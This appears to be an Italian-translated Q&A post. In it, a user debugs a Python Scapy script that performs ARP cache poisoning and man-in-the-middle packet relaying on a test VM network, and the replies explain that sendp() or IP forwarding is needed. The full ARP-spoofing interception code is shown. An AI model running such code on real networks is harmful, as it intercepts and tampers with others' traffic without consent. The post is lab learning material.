2012-09-30 24 views
11

Sto provando a fare un uomo nell'attacco centrale con scapy su una rete di test. La mia configurazione è simile a questo: enter image description hereUomo in attacco medio con scapy

Ora che si ottiene l'idea, ecco il codice:

from scapy.all import * 
import multiprocessing 
import time 
class MITM: 
    packets=[] 
    def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")): 
    self.victim=victim 
    self.node2=node2 
    multiprocessing.Process(target=self.arp_poison).start() 
    try: 
     sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x)) 
    except KeyboardInterrupt as e: 
     wireshark(packets) 
    #self.arp_poison() 
    def routep(self,packet): 
    if packet.haslayer(IP): 
     packet.show() 
     if packet[IP].dst==self.victim[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.victim[1] 
     elif packet[IP].dst==self.node2[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.node2[1] 
     self.packets.append(packet) 
     packet.display() 
     send(packet) 
     print len(self.packets) 
     if len(self.packets)==10: 
     wireshark(self.packets) 
    def arp_poison(self): 
    a=ARP() 
    a.psrc=self.victim[0] 
    a.pdst=self.node2[0] 
    b=ARP() 
    b.psrc=self.node2[0] 
    b.pdst=self.victim[0] 
    cond=True 
    while cond: 
     send(b) 
     send(a) 
     time.sleep(5) 
     #cond=False 
if __name__=="__main__": 
    mitm=MITM() 

Questo codice è in esecuzione sul VM2.

L'avvelenamento da arp funziona correttamente, controllo le cache arp di entrambe le macchine e il comportamento è quello che mi aspettavo. Ma dentro routep, modifico l'indirizzo src e dst mac e cerco di inviare il pacchetto ricevuto a all'host appropriato, Scapy dà un avvertimento:

WARNING: more Mac address to reach destination not found. Using broadcast 

E vedo nel wireshark sulla VM2, i pacchetti modificati non stanno lasciando la macchina. Perché dovrebbe essere così? Mi sto perdendo qualcosa?

+1

Penso che tu abbia finito per complicarlo. Devi solo inviare risposte arp contraffatte alla sottorete e abilitare l'ip forwarding sulla tua macchina. http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC

+0

Potrebbe essere che devi dire esplicitamente a scapy che vuoi inviare e ricevere frame incluso il livello MAC? –

risposta

1

Se si utilizza Scapy send(), funziona sul terzo livello. Dalla documentazione di scapy:

La funzione send() invierà pacchetti a livello 3. Ciò significa che gestirà il routing e il livello 2 per voi. La funzione sendp() funzionerà a livello 2.

Se si sceglie di usare sendp(), non userà i valori di default per l'indirizzo MAC della destinazione e la tua warning'll essere andato.